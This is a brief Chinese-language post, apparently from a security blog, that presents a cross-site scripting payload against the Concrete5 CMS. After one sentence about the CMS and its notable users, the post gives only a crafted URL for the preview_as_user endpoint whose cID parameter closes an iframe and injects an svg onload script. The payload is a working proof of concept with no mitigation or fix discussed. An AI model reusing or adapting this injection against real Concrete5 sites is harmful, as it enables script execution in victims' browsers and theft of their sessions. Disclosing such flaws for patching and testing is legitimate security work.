Concrete5 CMS XSS

2021-05-08 15:42:27 浏览数 (1)

Concrete5是一个免费的CMS系统，可以创建网站，并以其易用性而闻名。使用Concrete5的主要组织包括GlobalSign、美国陆军、REC和BASF等。

Payload：

http://xxx/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert(1)>

svg alert iframe onload 系统

0 人点赞